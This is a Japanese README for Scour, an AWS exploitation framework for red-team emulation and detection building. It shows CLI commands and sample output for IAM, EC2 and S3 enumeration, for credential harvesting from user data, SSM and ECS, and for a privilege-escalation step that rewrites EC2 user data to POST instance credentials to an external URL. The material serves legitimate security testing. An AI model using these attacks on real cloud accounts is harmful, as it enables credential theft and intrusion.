
モジュールベースのAWSエクスプロイテーションフレームワークで、レッドチームテストとブルーチーム分析を目的としています。AWSコントロールプレーンにおける攻撃パターンをエミュレートし、検出開発向けの独自のUAトラッキングを備えています。
このツールは、AWS Controlplane 内部で攻撃パターンをエミュレートするために使用されます。各攻撃には、ブルーチームが検知するための特定の UA がタグ付けされています。
これはまだ進行中の作業です。**バグが多数あります
プロダクション準備はできていません
問題を報告する場所: https://github.com/grines/scour/issues
メンテナー: grines
Scour は、golang で書かれたモダンなモジュールベースの AWS エクスプロイテーションフレームワークで、レッドチームテストとブルーチーム分析のために設計されています。Scour には、環境を攻撃したり、防御のための検出ルールを構築するために使用できる最新のテクニックが含まれています。
Scour は golang で書かれているため、バイナリとして簡単に配布できます。
##Gettable
go get github.com/grines/scour
##Build
go build main.go
より詳細でユーザーフレンドリーなユーザー指示については、Wikiのインストールガイドを参照してください。 **近日公開予定
Scour uses a range modules:
Scour を初めて起動すると、
token profile <profile_name> <region> は ~/aws/credentials に保存されている利用可能な aws profiels を一覧表示します。token AssumeRole <role_name> <region> は同一アカウントまたはクロスアカウントからロールを引き受けます。 **アクティブなセッションが必要ですhelp module は指定されたモジュールの該当するヘルプ情報を返します。 **help TBDattack evasion <tactic> は指定されたモジュールをデフォルトパラメータで実行します。scour は CLI モードに入りますNot Connected <> token profile apiuser us-east-1 は、セッションを設定してコマンドに使用しますConnected <apiuser/us-east-1> は (~,/aws/credentials) の AWS プロファイルに (region) でアクティブに接続されていますConnected <apiuser/us-east-1> attack enum <attack> タブ補完で利用可能な列挙戦術の一覧を表示Connected <apiuser/us-east-1> attack privesc <attack> タブ補完で利用可能な権限昇格戦術の一覧を表示Connected <apiuser/us-east-1> attack lateral <attack> タブ補完で利用可能な水平移動戦術の一覧を表示Connected <apiuser/us-east-1> attack evasion <attack> タブ補完で利用可能な回避戦術の一覧を表示Connected <apiuser/us-east-1> attack creds <attack> タブ補完で利用可能な資格情報発見戦術の一覧を表示Connected <apiuser/us-east-1> attack execute <attack> タブ補完で利用可能な実行戦術の一覧を表示Connected <apiuser/us-east-1> attack persist <attack> タブ補完で利用可能な永続化戦術の一覧を表示
Connected <apiuser/us-east-1> attack enum IAM IAM の探索+-------------+---------------------+------------------+---------------+--------------+
| USER | MANAGED POLICIES | INLINE POLICIES | GROUPS | ISPRIVILEGED |
+-------------+---------------------+------------------+---------------+--------------+
| admin | AdministratorAccess | AllEKSInlineuser | SecurityAudit | true |
| EC2 | AmazonEC2FullAccess | | | true |
+-------------+---------------------+------------------+---------------+--------------+
Connected <apiuser/us-east-1> attack enum Roles Roles の探索UA Tracking: exec-env/EVSWAyidC4/o18HtFPe1P/role-enum
+------------------------------------------------------------+----------------+-----------------------------------------------------+--------------+
| ROLE | PRINCIPAL TYPE | IDENTITY/SERVICE | ISPRIVILEGED |
+------------------------------------------------------------+----------------+-----------------------------------------------------+--------------+
| Amazon_CodeBuild_dW6zqYHT3m | AWS | [arn:aws:iam::861******:root | true |
| | | codebuild.amazonaws.com] | |
| Amazon_CodeBuild_f2DOFPjMHK | Service | [codebuild.amazonaws.com] | true |
| Amazon_CodeBuild_HS59ko7lxn | Service | [codebuild.amazonaws.com] | true |
+------------------------------------------------------------+----------------+-----------------------------------------------------+--------------+
Connected <apiuser/us-east-1> attack enum EC2 EC2 の探索UA Tracking: exec-env/EVSWAyidC4/dudqW7y1xb/ec2-enum
+---------------------+-----------------------------------------------------+--------------+----------+---------------+----------------------+--------+---------+--------------+----------+
| INSTANCEID | INSTANCE PROFILE | VPC | PUBLICIP | PRIVATEIP | SECURITY GROUPS | PORTS | STATE | ISPRIVILEGED | ISPUBLIC |
+---------------------+-----------------------------------------------------+--------------+----------+---------------+----------------------+--------+---------+--------------+----------+
| i-0f5604708c0b51429 | None | vpc-7e830c1a | None | 172.31.53.199 | sg-09fcd28717cf4f512 | 80* | stopped | false | true |
| | | | | | | 22* | | | |
| | | | | | | 5000* | | | |
| i-03657fe3b9decdf51 | arn:aws:iam::*****:instance-profile/OrgAdmin | vpc-7e830c1a | None | 172.31.45.96 | sg-61b1fd07 | All* | stopped | true | true |
| | | | | | | 8888* | | | |
| i-01b265a5fdc45df57 | None | vpc-7e830c1a | None | 172.31.38.118 | sg-0392f752f9b849d3f | 3389* | stopped | false | true |
| i-0867709d6c0be74d9 | arn:aws:iam::*****:instance-profile/OrgAdmin | vpc-7e830c1a | None | 172.31.39.199 | sg-006543a34d2f70028 | 22* | stopped | true | true |
| i-0d95790b5e7ddff23 | None | vpc-7e830c1a | None | 172.31.12.57 | sg-e1a50dac | 33391* | stopped | false | true |
+---------------------+-----------------------------------------------------+--------------+----------+---------------+----------------------+--------+---------+--------------+----------+
Connected <apiuser/us-east-1> attack enum S3 S3 の探索UA Tracking: exec-env/EVSWAyidC4/GDGZaYQOuo/s3-enum
+-------------------------------------------+-----------+-----------+--------------+-------------+---------------------+-------------+-------------+-----------+
| BUCKET | HASPOLICY | ISWEBSITE | ALLOW PUBLIC | PERMISSIONS | ALLOW AUTHENTICATED | PERMISSIONS | REPLICATION | REGION |
+-------------------------------------------+-----------+-----------+--------------+-------------+---------------------+-------------+-------------+-----------+
| amazon-conn********3d79b01a | false | false | false | | false | | false | us-west-2 |
| aws-cloudtrail-logs-**********98-cb39df0d | true | false | false | | false | | false | |
| bullsecu********* | true | true | false | | false | | false | |
| connect-6ec*****ad67 | false | false | false | | false | | false | |
| connect-******5337c3 | false | false | false | | false | | false | |
| ransom******** | true | false | false | | false | | false | |
| red******** | false | false | false | | false | | false | |
| rep-***** | false | false | false | | false | | false | us-west-2 |
| terraform******* | false | false | false | | false | | false | |
+-------------------------------------------+-----------+-----------+--------------+-------------+---------------------+-------------+-------------+-----------+
Connected <apiuser/us-east-1> attack enum Groups Groups の探索UA Tracking: exec-env/EVSWAyidC4/jAIKVdESpU/groups-enum
+-----------------------------------------------+---------------------+--------------+-----------------+--------------+
| GROUP | POLICIES | ISPRIVILEGED | INLINE POLICIES | ISPRIVILEGED |
+-----------------------------------------------+---------------------+--------------+-----------------+--------------+
| EC2 | SecurityAudit | false | | false |
| OpsWorks-dac9e9ba-8b3d-4e04-9ad9-d988ca4c0731 | | false | | false |
| TestGroup | AmazonEC2FullAccess | true | | false |
| | SecurityAudit | | | |
+-----------------------------------------------+---------------------+--------------+-----------------+--------------+
Connected <apiuser/us-east-1> attack enum Network Network discoveryTBD

Connected <apiuser/us-east-1> attack privesc UserData i-0f5604708c0b51429 http://url.to.capture.post.data EC2 からメタデータの資格情報を盗みます。インスタンスを停止 / 指定された URL に資格情報を POST するようにユーザーデータを更新 / インスタンスを起動 (EC2 トークンを URL に送信)[Sun May 9 06:10:16 2021] INF Stopping Instance i-0f5604708c0b51429 - State: stopped
[Sun May 9 06:10:46 2021] INF Modifying Instance Attribute UserData on i-0f5604708c0b51429
[Sun May 9 06:10:47 2021] INF Starting Instance i-0f5604708c0b51429 - State: pending

Connected <apiuser/us-east-1> attack creds UserData EC2 ユーザーデータから資格情報を収奪UA Tracking: exec-env/yzaqX9HFvP/oL1oho99ZP/userdata-creds
+---------------------+------------------+-------------------------------------------------------------------------------+
| INSTANCEID | RULE | FINDING |
+---------------------+------------------+-------------------------------------------------------------------------------+
| i-0f5604708c0b51429 | Slack Webhook | https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX |
| i-0f5604708c0b51429 | Generic Password | password=thisisapassword |
+---------------------+------------------+-------------------------------------------------------------------------------+
Connected <apiuser/us-east-1> attack creds SSM Systems Manager から資格情報を収奪UA Tracking: exec-env/yzaqX9HFvP/FASongUCcG/ssm-params-creds
+------------+----------+----------------------+
| PARAM NAME | DATATYPE | VALUE |
+------------+----------+----------------------+
| Test | text | thismightbeapassword |
+------------+----------+----------------------+
Connected <apiuser/us-east-1> attack creds ECS ECS から資格情報を収奪UA Tracking: exec-env/9tsJFrIPmw/rEGaMfF5AI/ecs-creds
+-------------+-------+------------+
| ENVARS NAME | VALUE | DEFINITION |
+-------------+-------+------------+
| Secret | heere | sample-app |
+-------------+-------+------------+
Connected <apiuser/us-east-1> attack exfil <attack> タブ補完で利用可能な外部流出戦術の一覧を表示